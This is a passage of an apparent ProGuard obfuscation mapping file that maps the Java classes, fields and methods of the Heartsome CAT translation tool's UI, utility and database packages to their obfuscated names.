getDisplayValueWithoutTags(java.lang.String) -> getDisplayValueWithoutTags + org.eclipse.jface.text.Position getStyledTagRange(java.lang.String,int) -> getStyledTagRange + org.eclipse.jface.text.Position[] getStyledTagRanges(java.lang.String) -> getStyledTagRanges + java.lang.String[] getStyledTags(java.lang.String) -> getStyledTags +net.heartsome.cat.common.ui.utils.InnerTagUtil$1 -> net.heartsome.cat.common.ui.utils.InnerTagUtil$1: + int compare(java.lang.String,java.lang.String) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.common.ui.utils.InnerTagUtil$2 -> net.heartsome.cat.common.ui.utils.InnerTagUtil$2: + int compare(java.lang.String,java.lang.String) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.common.ui.utils.OpenEditorUtil -> net.heartsome.cat.common.ui.utils.OpenEditorUtil: + void OpenFileWithSystemEditor(java.lang.String) -> OpenFileWithSystemEditor + void OpenFileWithSystemEditor(org.eclipse.ui.IWorkbenchPage,java.lang.String) -> OpenFileWithSystemEditor + void OpenFileWithSystemEditor(java.net.URI) -> OpenFileWithSystemEditor + void OpenFileWithSystemEditor(org.eclipse.ui.IWorkbenchPage,java.net.URI) -> OpenFileWithSystemEditor + void OpenFileWithSystemEditor(org.eclipse.core.resources.IFile) -> OpenFileWithSystemEditor + org.eclipse.ui.IWorkbenchPage getCurrentPage() -> q +net.heartsome.cat.common.ui.utils.OpenMessageUtils -> net.heartsome.cat.common.ui.utils.OpenMessageUtils: + void openMessage(int,java.lang.String) -> openMessage + boolean openConfirmMessage(java.lang.String) -> openConfirmMessage + void openMessageWithReason(int,java.lang.String,java.lang.String) -> openMessageWithReason + void openErrorMsgWithDetail(java.lang.String,java.lang.String,java.lang.Throwable) -> openErrorMsgWithDetail + java.lang.String getMessageDlgTitle(int) -> c + org.eclipse.core.runtime.IStatus getIStatus(int,java.lang.String) -> a + org.eclipse.core.runtime.MultiStatus throwable2MultiStatus(java.lang.String,java.lang.Throwable) -> throwable2MultiStatus +net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog -> net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog: + java.lang.String DLG_IMG_TITLE_ERROR -> DLG_IMG_TITLE_ERROR + java.lang.String DLG_IMG_TITLE_BANNER -> DLG_IMG_TITLE_BANNER + java.lang.String INFO_MESSAGE -> INFO_MESSAGE + java.lang.String WARNING_MESSAGE -> WARNING_MESSAGE + int H_GAP_IMAGE -> dj + int MIN_DIALOG_WIDTH -> dk + int MIN_DIALOG_HEIGHT -> dl + org.eclipse.swt.widgets.Label titleLabel -> dm + org.eclipse.swt.widgets.Label titleImageLabel -> dn + org.eclipse.swt.widgets.Label bottomFillerLabel -> do + org.eclipse.swt.widgets.Label leftFillerLabel -> dp + org.eclipse.swt.graphics.RGB titleAreaRGB -> dq + org.eclipse.swt.graphics.Color titleAreaColor -> dr + java.lang.String message -> message + java.lang.String errorMessage -> errorMessage + org.eclipse.swt.widgets.Label messageLabel -> messageLabel + org.eclipse.swt.widgets.Composite workArea -> ds + org.eclipse.swt.widgets.Label messageImageLabel -> dt + org.eclipse.swt.graphics.Image messageImage -> du + boolean showingError -> dv + boolean titleImageLargest -> dw + int messageLabelHeight -> dx + org.eclipse.swt.graphics.Image titleAreaImage -> dy + int xTrim -> dz + int yTrim -> dA + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + org.eclipse.swt.widgets.Control createTitleArea(org.eclipse.swt.widgets.Composite) -> g + void determineTitleImageLargest() -> r + void setLayoutsForNormalMessage(int,int) -> a + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + org.eclipse.swt.widgets.Composite getTitleArea() -> getTitleArea + org.eclipse.swt.widgets.Label getTitleImageLabel() -> getTitleImageLabel + void setErrorMessage(java.lang.String) -> setErrorMessage + void layoutForNewMessage(boolean) -> d + void setMessage(java.lang.String) -> setMessage + void setMessage(java.lang.String,int) -> setMessage + void showMessage(java.lang.String,org.eclipse.swt.graphics.Image) -> a + void updateMessage(java.lang.String) -> updateMessage + void setTitle(java.lang.String) -> setTitle + void setTitleAreaColor(org.eclipse.swt.graphics.RGB) -> setTitleAreaColor + void setTitleImage(org.eclipse.swt.graphics.Image) -> setTitleImage + void setImageLabelVisible(boolean) -> e + void resetWorkAreaAttachments(org.eclipse.swt.widgets.Control) -> a + java.lang.String getMessage() -> getMessage + java.lang.String getErrorMessage() -> getErrorMessage + void access$0(net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog,boolean) -> a + org.eclipse.swt.widgets.Label access$1(net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog) -> a +net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog$1 -> net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog$1: + net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog this$0 -> dB + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog$2 -> net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog$2: + net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog this$0 -> dB + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog$3 -> net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog$3: + net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog this$0 -> dB + org.eclipse.swt.widgets.Composite createToolTipContentArea(org.eclipse.swt.widgets.Event,org.eclipse.swt.widgets.Composite) -> createToolTipContentArea + org.eclipse.swt.graphics.Point getLocation(org.eclipse.swt.graphics.Point,org.eclipse.swt.widgets.Event) -> getLocation +net.heartsome.cat.common.ui.wizard.TSWizardDialog -> net.heartsome.cat.common.ui.wizard.TSWizardDialog: + java.lang.String WIZ_IMG_ERROR -> WIZ_IMG_ERROR + org.eclipse.jface.wizard.IWizard wizard -> wizard + java.util.ArrayList createdWizards -> dC + java.util.ArrayList nestedWizards -> dD + org.eclipse.jface.wizard.IWizardPage currentPage -> dE + long activeRunningOperations -> bW + long timeWhenLastJobFinished -> bZ + boolean useCustomProgressMonitorPart -> bX + java.lang.String pageMessage -> dF + int pageMessageType -> dG + java.lang.String pageDescription -> dH + org.eclipse.jface.wizard.ProgressMonitorPart progressMonitorPart -> bQ + org.eclipse.swt.graphics.Cursor waitCursor -> bU + org.eclipse.swt.graphics.Cursor arrowCursor -> arrowCursor + org.eclipse.jface.dialogs.MessageDialog windowClosingDialog -> ca + org.eclipse.swt.widgets.Button backButton -> dI + org.eclipse.swt.widgets.Button nextButton -> dJ + org.eclipse.swt.widgets.Button finishButton -> dK + org.eclipse.swt.widgets.Button cancelButton -> bS + org.eclipse.swt.widgets.Button helpButton -> dL + org.eclipse.swt.events.SelectionAdapter cancelListener -> bT + boolean isMovingToPreviousPage -> dM + org.eclipse.swt.widgets.Composite pageContainer -> dN + net.heartsome.cat.common.ui.wizard.TSWizardDialog$PageContainerFillLayout pageContainerLayout -> dO + int pageWidth -> dP + int pageHeight -> dQ + java.lang.String FOCUS_CONTROL -> bY + int RESTORE_ENTER_DELAY -> bV + boolean lockedUI -> bP + org.eclipse.core.runtime.ListenerList pageChangedListeners -> dR + org.eclipse.core.runtime.ListenerList pageChangingListeners -> dS + java.lang.Object aboutToStart(boolean) -> a + void backPressed() -> backPressed + void buttonPressed(int) -> buttonPressed + org.eclipse.swt.graphics.Point calculatePageSizeDelta(org.eclipse.jface.wizard.IWizardPage) -> a + void cancelPressed() -> cancelPressed + boolean close() -> close + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void setButtonLayoutData(org.eclipse.swt.widgets.Button) -> setButtonLayoutData + org.eclipse.swt.widgets.Button createCancelButton(org.eclipse.swt.widgets.Composite) -> h + org.eclipse.swt.widgets.Button getButton(int) -> getButton + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + org.eclipse.jface.wizard.ProgressMonitorPart createProgressMonitorPart(org.eclipse.swt.widgets.Composite,org.eclipse.swt.layout.GridLayout) -> createProgressMonitorPart + org.eclipse.swt.widgets.Composite createPageContainer(org.eclipse.swt.widgets.Composite) -> createPageContainer + void createPageControls() -> s + org.eclipse.swt.widgets.Composite createPreviousAndNextButtons(org.eclipse.swt.widgets.Composite) -> i + org.eclipse.jface.dialogs.MessageDialog createWizardClosingDialog() -> i + void finishPressed() -> finishPressed + org.eclipse.jface.wizard.IWizardPage getCurrentPage() -> getCurrentPage + org.eclipse.core.runtime.IProgressMonitor getProgressMonitor() -> getProgressMonitor + org.eclipse.jface.wizard.IWizard getWizard() -> getWizard + boolean hardClose() -> t + void helpPressed() -> helpPressed + void nextPressed() -> nextPressed + boolean doPageChanging(org.eclipse.jface.wizard.IWizardPage) -> b + boolean okToClose() -> okToClose + void restoreEnableState(org.eclipse.swt.widgets.Control,java.util.Map,java.lang.String) -> a + void restoreUIState(java.util.Map) -> a + void run(boolean,boolean,org.eclipse.jface.operation.IRunnableWithProgress) -> run + void saveEnableStateAndSet(org.eclipse.swt.widgets.Control,java.util.Map,java.lang.String,boolean) -> a + java.util.Map saveUIState(boolean) -> b + void setDisplayCursor(org.eclipse.swt.graphics.Cursor) -> a + void setMinimumPageSize(int,int) -> setMinimumPageSize + void setMinimumPageSize(org.eclipse.swt.graphics.Point) -> setMinimumPageSize + void setPageSize(int,int) -> setPageSize + void setPageSize(org.eclipse.swt.graphics.Point) -> setPageSize + void setWizard(org.eclipse.jface.wizard.IWizard) -> setWizard + void showPage(org.eclipse.jface.wizard.IWizardPage) -> showPage + void updateForPage(org.eclipse.jface.wizard.IWizardPage) -> c + void showStartingPage() -> u + void stopped(java.lang.Object) -> b + void update() -> update + void updateButtons() -> updateButtons + void updateDescriptionMessage() -> v + void updateMessage() -> updateMessage + void setShellSize(int,int) -> b + void updateSize(org.eclipse.jface.wizard.IWizardPage) -> updateSize + void updateSize() -> updateSize + void updateSizeForPage(org.eclipse.jface.wizard.IWizardPage) -> d + void updateSizeForWizard(org.eclipse.jface.wizard.IWizard) -> a + void updateTitleBar() -> updateTitleBar + void updateWindowTitle() -> updateWindowTitle + java.lang.Object getSelectedPage() -> getSelectedPage + void addPageChangedListener(org.eclipse.jface.dialogs.IPageChangedListener) -> addPageChangedListener + void removePageChangedListener(org.eclipse.jface.dialogs.IPageChangedListener) -> removePageChangedListener + void firePageChanged(org.eclipse.jface.dialogs.PageChangedEvent) -> firePageChanged + void addPageChangingListener(org.eclipse.jface.dialogs.IPageChangingListener) -> addPageChangingListener + void removePageChangingListener(org.eclipse.jface.dialogs.IPageChangingListener) -> removePageChangingListener + void firePageChanging(org.eclipse.jface.dialogs.PageChangingEvent) -> firePageChanging + long access$0(net.heartsome.cat.common.ui.wizard.TSWizardDialog) -> a + void access$1(net.heartsome.cat.common.ui.wizard.TSWizardDialog,long) -> a + org.eclipse.jface.wizard.IWizardPage access$2(net.heartsome.cat.common.ui.wizard.TSWizardDialog) -> b + boolean access$3(net.heartsome.cat.common.ui.wizard.TSWizardDialog) -> c + void access$4(net.heartsome.cat.common.ui.wizard.TSWizardDialog,org.eclipse.jface.wizard.IWizardPage) -> a +net.heartsome.cat.common.ui.wizard.TSWizardDialog$1 -> net.heartsome.cat.common.ui.wizard.TSWizardDialog$1: + net.heartsome.cat.common.ui.wizard.TSWizardDialog this$0 -> dT + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.common.ui.wizard.TSWizardDialog$10 -> net.heartsome.cat.common.ui.wizard.TSWizardDialog$10: + net.heartsome.cat.common.ui.wizard.TSWizardDialog this$0 -> dT + org.eclipse.jface.dialogs.IPageChangingListener val$l -> dU + org.eclipse.jface.dialogs.PageChangingEvent val$event -> dV + void run() -> run +net.heartsome.cat.common.ui.wizard.TSWizardDialog$2 -> net.heartsome.cat.common.ui.wizard.TSWizardDialog$2: + net.heartsome.cat.common.ui.wizard.TSWizardDialog this$0 -> dT + void keyTraversed(org.eclipse.swt.events.TraverseEvent) -> keyTraversed +net.heartsome.cat.common.ui.wizard.TSWizardDialog$3 -> net.heartsome.cat.common.ui.wizard.TSWizardDialog$3: + net.heartsome.cat.common.ui.wizard.TSWizardDialog this$0 -> dT + void helpRequested(org.eclipse.swt.events.HelpEvent) -> helpRequested +net.heartsome.cat.common.ui.wizard.TSWizardDialog$4 -> net.heartsome.cat.common.ui.wizard.TSWizardDialog$4: + java.lang.String currentTask -> cd + net.heartsome.cat.common.ui.wizard.TSWizardDialog this$0 -> dT + void setBlocked(org.eclipse.core.runtime.IStatus) -> setBlocked + void clearBlocked() -> clearBlocked + void beginTask(java.lang.String,int) -> beginTask + void setTaskName(java.lang.String) -> setTaskName + void subTask(java.lang.String) -> subTask +net.heartsome.cat.common.ui.wizard.TSWizardDialog$5 -> net.heartsome.cat.common.ui.wizard.TSWizardDialog$5: + net.heartsome.cat.common.ui.wizard.TSWizardDialog this$0 -> dT + java.lang.String val$backReaderText -> dW + void getName(org.eclipse.swt.accessibility.AccessibleEvent) -> getName +net.heartsome.cat.common.ui.wizard.TSWizardDialog$6 -> net.heartsome.cat.common.ui.wizard.TSWizardDialog$6: + net.heartsome.cat.common.ui.wizard.TSWizardDialog this$0 -> dT + java.lang.String val$nextReaderText -> dX + void getName(org.eclipse.swt.accessibility.AccessibleEvent) -> getName +net.heartsome.cat.common.ui.wizard.TSWizardDialog$7 -> net.heartsome.cat.common.ui.wizard.TSWizardDialog$7: + net.heartsome.cat.common.ui.wizard.TSWizardDialog this$0 -> dT + int getShellStyle() -> getShellStyle +net.heartsome.cat.common.ui.wizard.TSWizardDialog$8 -> net.heartsome.cat.common.ui.wizard.TSWizardDialog$8: + net.heartsome.cat.common.ui.wizard.TSWizardDialog this$0 -> dT + org.eclipse.jface.wizard.IWizardPage val$finalPage -> dY + void run() -> run +net.heartsome.cat.common.ui.wizard.TSWizardDialog$9 -> net.heartsome.cat.common.ui.wizard.TSWizardDialog$9: + net.heartsome.cat.common.ui.wizard.TSWizardDialog this$0 -> dT + org.eclipse.jface.dialogs.IPageChangedListener val$l -> dZ + org.eclipse.jface.dialogs.PageChangedEvent val$event -> ea + void run() -> run +net.heartsome.cat.common.ui.wizard.TSWizardDialog$PageContainerFillLayout -> net.heartsome.cat.common.ui.wizard.TSWizardDialog$PageContainerFillLayout: + int marginWidth -> marginWidth + int marginHeight -> marginHeight + int minimumWidth -> minimumWidth + int minimumHeight -> minimumHeight + net.heartsome.cat.common.ui.wizard.TSWizardDialog this$0 -> dT + org.eclipse.swt.graphics.Point computeSize(org.eclipse.swt.widgets.Composite,int,int,boolean) -> computeSize + org.eclipse.swt.graphics.Rectangle getClientArea(org.eclipse.swt.widgets.Composite) -> getClientArea + void layout(org.eclipse.swt.widgets.Composite,boolean) -> layout + void layoutPage(org.eclipse.swt.widgets.Control) -> layoutPage + void setPageLocation(org.eclipse.swt.widgets.Control) -> setPageLocation +net.heartsome.cat.common.util.CommonFunction -> net.heartsome.cat.common.util.CommonFunction: + java.util.List xlfExtensionList -> eb + java.lang.String[] xlfExtesionArray -> xlfExtesionArray + java.lang.String R8XliffExtension_1 -> R8XliffExtension_1 + java.lang.String R8XliffExtension -> R8XliffExtension + java.lang.String systemLanguage -> ec + java.lang.String XLIFF_EDITOR_ID -> ed + boolean contains(java.lang.Object[],java.lang.Object) -> contains + boolean containsIgnoreCase(java.lang.String[],java.lang.String) -> containsIgnoreCase + java.lang.String[] getItemBySeparator(java.lang.String,char) -> getItemBySeparator + java.lang.String[] vector2StringArray(java.util.Vector) -> vector2StringArray + void stringArray2Vector(java.lang.String[],java.util.Vector) -> stringArray2Vector + java.util.List array2List(java.lang.Object[]) -> array2List + int indexOf(java.util.Vector,java.lang.String) -> indexOf + int indexOf(java.lang.String[],java.lang.String) -> indexOf + java.lang.String[] getWords(java.lang.String) -> getWords + java.lang.String retTMXDate() -> retTMXDate + java.lang.String retGMTdate(java.lang.String) -> retGMTdate + void getChildFiles(java.io.File,java.lang.String,java.util.List) -> getChildFiles + java.util.Vector getPathList(java.io.File) -> a + java.lang.String matchPathLists(java.util.Vector,java.util.Vector) -> a + java.lang.String getRelativePath(java.lang.String,java.lang.String) -> getRelativePath + java.lang.String getAbsolutePath(java.lang.String,java.lang.String) -> getAbsolutePath + boolean validXlfExtension(java.lang.String) -> validXlfExtension + boolean validXlfExtensionByFileName(java.lang.String) -> validXlfExtensionByFileName + java.lang.String getSystemLanguage() -> getSystemLanguage + void setSystemLanguage(java.lang.String) -> setSystemLanguage + void removeRepeateSelect(java.util.List) -> removeRepeateSelect + boolean checkEdition(java.lang.String) -> checkEdition + void refreshHistoryWhenDelete(org.eclipse.ui.IEditorInput) -> refreshHistoryWhenDelete + boolean isAsiaLang(java.lang.String) -> isAsiaLang + void unZipHunspellDics() -> unZipHunspellDics + java.lang.String upZipFile(java.lang.String,java.lang.String) -> upZipFile + java.io.File getRealFileName(java.lang.String,java.lang.String) -> a + void closePointEditor(java.util.List) -> closePointEditor +net.heartsome.cat.common.util.DateUtils -> net.heartsome.cat.common.util.DateUtils: + java.util.Calendar calendar -> calendar + int getCurYear() -> getCurYear + int getCurYear(java.util.Calendar) -> getCurYear + int getCurMonth() -> getCurMonth + int getCurMonth(java.util.Calendar) -> getCurMonth + int getCurDay() -> getCurDay + int getCurDay(java.util.Calendar) -> getCurDay + java.util.Date getNowDate() -> getNowDate + java.util.Date getNowDateShort() -> getNowDateShort + java.lang.String getStringDate() -> getStringDate + java.lang.String getStringDateShort() -> getStringDateShort + java.lang.String getTimeShort() -> getTimeShort + java.util.Date strToDateLong(java.lang.String) -> strToDateLong + java.lang.String dateToStrLong(java.util.Date) -> dateToStrLong + java.lang.String dateToStr(java.util.Date) -> dateToStr + java.util.Date strToDate(java.lang.String) -> strToDate + java.util.Date getNow() -> getNow + java.util.Date getLastDate(long) -> getLastDate + java.lang.String getStringToday() -> getStringToday + java.lang.String getHour() -> getHour + java.lang.String getTime() -> getTime + java.lang.String getUserDate(java.lang.String) -> getUserDate + java.lang.String getTwoHour(java.lang.String,java.lang.String) -> getTwoHour + java.lang.String getTwoDay(java.lang.String,java.lang.String) -> getTwoDay + java.lang.String getPreTime(java.lang.String,java.lang.String) -> getPreTime + java.lang.String getNextDay(java.lang.String,java.lang.String) -> getNextDay + boolean isLeapYear(java.lang.String) -> isLeapYear + java.lang.String getEDate(java.lang.String) -> getEDate + java.lang.String getEndDateOfMonth(java.lang.String) -> getEndDateOfMonth + boolean isSameWeekDates(java.util.Date,java.util.Date) -> isSameWeekDates + java.lang.String getSeqWeek() -> getSeqWeek + java.lang.String getWeek(java.lang.String,java.lang.String) -> getWeek + java.lang.String getWeek(java.lang.String) -> getWeek + java.lang.String getWeekStr(java.lang.String) -> getWeekStr + long getDays(java.lang.String,java.lang.String) -> getDays + java.lang.String getNowMonth(java.lang.String) -> getNowMonth + java.lang.String getNo(int) -> getNo + java.lang.String getRandom(int) -> getRandom + boolean RightDate(java.lang.String) -> RightDate + int getdaysslice(java.lang.String,java.lang.String) -> getdaysslice + java.lang.String formatToYYYYMMDD(java.lang.String,java.lang.String) -> formatToYYYYMMDD + java.sql.Timestamp getTimestampFromUTC(java.lang.String) -> getTimestampFromUTC + java.sql.Timestamp getTimestampFromString(java.lang.String) -> getTimestampFromString + java.util.Date getDateFromUTC(java.lang.String) -> getDateFromUTC + java.lang.String formatToUTC(long) -> formatToUTC + java.lang.String formatLongTime(long,java.lang.String) -> formatLongTime + java.lang.String formatDateFromUTC(java.lang.String) -> formatDateFromUTC + java.lang.String formatStringTime(java.lang.String) -> formatStringTime + void main(java.lang.String[]) -> main +net.heartsome.cat.common.util.FileEncodingDetector -> net.heartsome.cat.common.util.FileEncodingDetector: + java.lang.String detectFileEncoding(java.io.File) -> detectFileEncoding +net.heartsome.cat.common.util.InnerTagClearUtil -> net.heartsome.cat.common.util.InnerTagClearUtil: + java.util.regex.Pattern XLIFF_CLEAR_PATTERN -> ee + java.util.regex.Pattern TMX_CLEAR_PATTERN -> ef + java.lang.String clearXliffTag4Tmx(java.lang.String) -> clearXliffTag4Tmx + java.lang.String clearTmx4Xliff(java.lang.String) -> clearTmx4Xliff +net.heartsome.cat.common.util.LanguageUtils -> net.heartsome.cat.common.util.LanguageUtils: + java.lang.String convertLangCode(java.lang.String) -> convertLangCode +net.heartsome.cat.common.util.TextUtil -> net.heartsome.cat.common.util.TextUtil: + org.slf4j.Logger LOGGER -> LOGGER + java.util.Hashtable ISOLang -> eg + java.util.Hashtable countries -> eh + java.util.Hashtable descriptions -> ei + java.util.Hashtable isBidi -> ej + java.lang.String _SPACE -> ek + java.lang.String hexString -> hexString + java.lang.String cleanString(java.lang.String) -> cleanString + java.lang.String validChars(java.lang.String) -> validChars + java.lang.String normalise(java.lang.String,boolean) -> normalise + java.lang.String normalise(java.lang.String) -> normalise + java.lang.String cleanSpecialString(java.lang.String) -> cleanSpecialString + java.lang.String resetSpecialString(java.lang.String) -> resetSpecialString + java.lang.String getISO639(java.lang.String,java.lang.String) -> getISO639 + void loadISOLang(java.lang.String) -> e + java.lang.String getCountryName(java.lang.String) -> getCountryName + void loadCountries() -> w + byte[] readBytesFromIS(java.io.InputStream) -> readBytesFromIS + java.lang.String getLanguageCode(java.lang.String) -> getLanguageCode + void loadLanguages() -> x + java.lang.String getLanguageName(java.lang.String) -> getLanguageName + int indexOf(java.lang.String,java.lang.String,int,boolean) -> indexOf + java.lang.String cleanStringByLikeWithMysql(java.lang.String) -> cleanStringByLikeWithMysql + java.lang.String cleanStringByLikeWithOracle(java.lang.String) -> cleanStringByLikeWithOracle + java.lang.String cleanStringByLikeWithMsSql(java.lang.String) -> cleanStringByLikeWithMsSql + java.lang.String cleanStringByLikeWithPostgreSql(java.lang.String) -> cleanStringByLikeWithPostgreSql + java.lang.String cleanStringByLikeWithHSQL(java.lang.String) -> cleanStringByLikeWithHSQL + java.lang.String replaceRegextSql(java.lang.String) -> replaceRegextSql + java.lang.String replaceRegextSqlWithMOP(java.lang.String) -> replaceRegextSqlWithMOP + java.lang.String replaceRegextSqlWithHSQL(java.lang.String) -> replaceRegextSqlWithHSQL + java.lang.String normLanguage(java.lang.String) -> normLanguage + java.lang.String xmlToString(java.lang.String) -> xmlToString + java.lang.String stringToXML(java.lang.String) -> stringToXML + java.util.Hashtable plugin_loadLanguages() -> plugin_loadLanguages + java.util.Hashtable plugin_loadCoutries() -> plugin_loadCoutries + void getLanguages(java.lang.String,java.util.Hashtable) -> a + java.lang.String toSBC(java.lang.String) -> toSBC + java.lang.String toDBC(java.lang.String) -> toDBC + java.lang.String encodeHexString(java.lang.String) -> encodeHexString + java.lang.String decodeHexString(java.lang.String) -> decodeHexString + java.lang.String createUUID() -> createUUID + java.lang.String trimSpace(java.lang.String) -> trimSpace + boolean checkStringEmpty(java.lang.String) -> checkStringEmpty + java.lang.String trimEnter(java.lang.String) -> trimEnter + java.lang.String trimString(java.lang.String) -> trimString + java.lang.String attributeValue(java.lang.String) -> attributeValue + long groupString(java.lang.String,int) -> b +net.heartsome.cat.common.util.UnicodeConverter -> net.heartsome.cat.common.util.UnicodeConverter: + java.lang.String convert(java.lang.String) -> convert + java.lang.String revert(java.lang.String) -> revert + void main(java.lang.String[]) -> main +net.heartsome.cat.database.Activator -> net.heartsome.cat.database.Activator: + java.lang.String PLUGIN_ID -> PLUGIN_ID + org.osgi.framework.BundleContext context -> context + net.heartsome.cat.database.Activator plugin -> el + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.database.Activator getDefault() -> getDefault +net.heartsome.cat.database.Constants -> net.heartsome.cat.database.Constants: + int DB_TYPE_TM -> DB_TYPE_TM + int DB_TYPE_TB -> DB_TYPE_TB + int SPLIT_NUM -> SPLIT_NUM + java.lang.String CONFIGURE -> CONFIGURE + java.lang.String DBCONFIG_PATH -> DBCONFIG_PATH + java.lang.String HSSYSDB -> HSSYSDB + java.lang.String OPTIMIZE_SPEED -> OPTIMIZE_SPEED + java.lang.String TBX -> TBX + java.lang.String TMX -> TMX + int IMPORT_MODEL_ALWAYSADD -> IMPORT_MODEL_ALWAYSADD + int IMPORT_MODEL_OVERWRITE -> IMPORT_MODEL_OVERWRITE + int IMPORT_MODEL_IGNORE -> IMPORT_MODEL_IGNORE + int IMPORT_MODEL_MERGE -> IMPORT_MODEL_MERGE + java.lang.String DBTYPE_INTERNALDB -> DBTYPE_INTERNALDB + java.lang.String DBTYPE_MYSQL -> DBTYPE_MYSQL + java.lang.String DBTYPE_Oracle -> DBTYPE_Oracle + java.lang.String DBTYPE_POSTGRESQL -> DBTYPE_POSTGRESQL + java.lang.String DBTYPE_MSSQL2005 -> DBTYPE_MSSQL2005 + java.lang.String DBTYPE_SQLITE -> DBTYPE_SQLITE + java.lang.String DBTYPE_MYSQL_FOR_UI -> DBTYPE_MYSQL_FOR_UI + java.lang.String DBTYPE_MSSQL2005_FOR_UI -> DBTYPE_MSSQL2005_FOR_UI + java.lang.String TBX_ADD_TERM_FILEDESC -> TBX_ADD_TERM_FILEDESC + java.lang.String TBX_XCS_DEFAULT -> TBX_XCS_DEFAULT + int SUCCESS -> SUCCESS + int FAILURE -> FAILURE + java.lang.String X_FLAG -> X_FLAG + java.lang.String HS_FLAG -> HS_FLAG +net.heartsome.cat.database.DBConfig -> net.heartsome.cat.database.DBConfig: + org.slf4j.Logger logger -> logger + org.dom4j.Element root -> em + org.dom4j.Element defaultRoot -> en + net.heartsome.cat.common.bean.MetaData metaData -> eo + java.lang.String getDefaultServer() -> getDefaultServer + java.lang.String getDefaultType() -> getDefaultType + java.lang.String getDefaultPort() -> getDefaultPort + java.lang.String getDefaultProperty(java.lang.String) -> f + java.lang.String getDbURL() -> getDbURL + java.util.HashMap getConfigProperty() -> getConfigProperty + java.lang.String getCreateDb() -> getCreateDb + java.lang.String getDropDb() -> getDropDb + java.util.List getCreateTables() -> getCreateTables + java.util.List getCreateIndexs() -> getCreateIndexs + java.lang.String getDriver() -> getDriver + java.lang.String getSysDbList() -> getSysDbList + java.lang.String getInsertSysDb() -> getInsertSysDb + java.lang.String getCreateSysDb() -> getCreateSysDb + java.util.List getCreateSysTables() -> getCreateSysTables + java.lang.String getRemoveSysDb() -> getRemoveSysDb + java.util.List getCreateMatrixTables() -> getCreateMatrixTables + java.util.List getCreateMatrixIndexes() -> getCreateMatrixIndexes + java.util.List getCreateMatrix(java.lang.String) -> g + java.lang.String getMatrixSQL(java.lang.String) -> getMatrixSQL + java.lang.String getOperateDbSQL(java.lang.String) -> getOperateDbSQL + org.dom4j.Element getElementWithDefault(java.lang.String) -> h + void setMetaData(net.heartsome.cat.common.bean.MetaData) -> setMetaData +net.heartsome.cat.database.DBOperator -> net.heartsome.cat.database.DBOperator: + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.cat.common.bean.MetaData metaData -> eo + net.heartsome.cat.database.DBConfig dbConfig -> ep + java.sql.Connection conn -> eq + java.util.Vector langCaches -> er + java.util.Map data -> es + void setMetaData(net.heartsome.cat.common.bean.MetaData) -> setMetaData + net.heartsome.cat.common.bean.MetaData getMetaData() -> getMetaData + net.heartsome.cat.database.DBConfig getDbConfig() -> getDbConfig + void start() -> start + void end() -> end + boolean isClosed() -> isClosed + java.sql.Connection getConnection() -> getConnection + void rollBack() -> rollBack + void commit() -> commit + void beginTransaction() -> beginTransaction + java.lang.String insertHeader(java.util.Hashtable) -> insertHeader + void insertHeaderNode(java.util.Hashtable) -> insertHeaderNode + int insertTU(int,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> insertTU + java.lang.String insertTextData(java.lang.String,int,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> insertTextData + void insertTMXProp(int,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> insertTMXProp + void insertTMXNote(int,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> insertTMXNote + void insertTMXExtra(java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> insertTMXExtra + boolean hasLangInDB(java.lang.String) -> hasLangInDB + boolean checkHasMatchs(java.lang.String,java.lang.String) -> checkHasMatchs + java.util.Map getExtraValue(java.lang.Integer,java.lang.String,java.lang.String) -> getExtraValue + java.util.Map getMPropValue(java.lang.Integer,java.lang.String) -> getMPropValue + java.util.List getTuMprops(int,java.lang.String) -> getTuMprops + java.util.List getTuMNote(int,java.lang.String) -> getTuMNote + java.util.Map getMNoteValue(java.lang.Integer,java.lang.String) -> getMNoteValue + java.util.List getTextDataId(int,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> getTextDataId + java.util.List getTextDataId(int,java.lang.String,java.lang.String) -> getTextDataId + java.util.List getTUInfoByTuvInfo(int,java.lang.String,java.lang.String) -> getTUInfoByTuvInfo + java.util.List getTUInfoByTuvInfo(int,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> getTUInfoByTuvInfo + java.util.List getTextDataIdByGroupIdLang(int,java.lang.String,java.lang.String) -> getTextDataIdByGroupIdLang + java.util.Map getTextDataValue(java.lang.String,java.lang.Integer,java.lang.String) -> getTextDataValue + java.util.Map getTUByTuPkId(java.lang.Integer) -> 